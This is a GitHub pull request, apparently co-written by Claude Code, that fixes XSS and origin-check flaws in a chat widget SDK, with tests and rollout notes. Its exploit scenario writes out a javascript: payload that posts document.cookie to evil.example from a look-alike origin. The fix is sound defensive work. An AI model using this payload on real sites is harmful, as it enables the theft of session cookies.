Repository navigation
fix(security): safe url handler, exact banner/modal origin checks, pinned targetOrigin - #181
Closed
boehlerlukas wants to merge 2 commits into
Closed
boehlerlukas wants to merge 2 commits into
boehlerlukas wants to merge 2 commits into
Conversation
…d relative links The default urlHandler set window.location.href to whatever the widget, a banner, a modal, the chatbar or Gleap.openURL handed it, so a javascript: URL ran in the customer's page. It now opens only safe schemes, new tabs with noopener,noreferrer. A custom Gleap.setUrlHandler handler still gets app deep links but never javascript:/vbscript:/data:. Messages to the Messenger frame are pinned to its origin. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…gin for chatbar and agent conversation Banner and modal listeners matched event.origin with bannerUrl.includes(), so https://outboundmedia.gl passed for https://outboundmedia.gleap.io and could trigger open-url, custom actions and tours. Now exact origin equality. Chatbar and <gleap-agent-conversation> (which receives gleapId and gleapHash) post to their frame's origin instead of '*'. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Contributor
Author
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Vulnerability
The SDK trusts the Messenger frame. It checks
event.source, but then acts on whatever that frame relays. Its defaulturlHandlerranwindow.location.href = urlwith no scheme check. So anyopen-urlthat reached it ran script in the customer's page:Gleap.openURLTwo more holes:
bannerUrl.includes(event.origin). Sohttps://outboundmedia.gl(.glis a public TLD) passed forhttps://outboundmedia.gleap.io. That origin could postopen-url,start-custom-action,start-conversation, tours orbanner-height(CSS injection) straight to the customer's window.targetOrigin '*'with credentials. The chatbar'ssession-updateand<gleap-agent-conversation>'s config, which both carrygleapIdandgleapHash, were posted withtargetOrigin '*'.Exploit scenario
{type:'BANNER', name:'open-url', data:"javascript:fetch('https://evil.example/?c='+document.cookie)"}fromhttps://outboundmedia.gl, or goes through the Messenger relay.urlHandlernavigates to thejavascript:URL.Fix
src/GleapMessageSecurity.js:isSafeNavigationUrl: http, https, mailto, tel and relative links only. It parses the URL the way the browser does, sojava\tscript:is caught.isScriptUrloriginMatchesUrl: exact origin equality.frameTargetOriginurlHandler: opens only safe links. New tabs usewindow.open(url, '_blank', 'noopener,noreferrer'). The.focus()call is gone, becausewindow.openwith noopener returns null.Gleap.setUrlHandler: the custom handler is wrapped. It still receives app deep links (myapp://…), but neverjavascript:,vbscript:ordata:.includes. Theevent.sourcematch is unchanged.targetOriginfor the Messenger frame (sendMessage,collect-ticket-data), the chatbar frame and<gleap-agent-conversation>:about:blankgets our own origin. This usescontentWindow.origin; I checked in Chrome that a fresh about:blank frame reports the parent origin there, whilelocation.originreports"null".srcgets the frame URL's origin.'*'is used only for an opaque origin.Not changed: the main listener's exact
event.origin === frameUrlacceptance for the legacy src fallback. The source check already covers it, and the origin is Gleap-owned.Checks run
npm test(jest): 32 suites, 560 tests pass. New tests:src/GleapMessageSecurity.test.js:outboundmedia.glandoutboundmedia.gleaplook-alikesGleapFrameManager.test.js:javascript:/data:noopener,noreferreropen-urlgoes through the safe handlerGleapBannerManager.test.js: an exact origin is accepted and look-alikes are ignored.npm run build(webpack) compiled. The regeneratedbuild/andpublished/bundles were reverted and are not part of this PR.Rollout note
This needs an SDK release (next 19.3.x); I did not release it. Until customers update, they are protected by the Messenger fix (GleapSDK/Messenger-App#254), which is served live from
mainand covers every SDK version once deployed. Ship that one first.The look-alike-origin banner/modal path (
outboundmedia.gl) does not go through the Messenger. Only this SDK release closes it.Behaviour change: the default handler no longer opens custom schemes such as
myapp://,whatsapp://orsms:on the web. Customers who need them can useGleap.setUrlHandler.🤖 Generated with Claude Code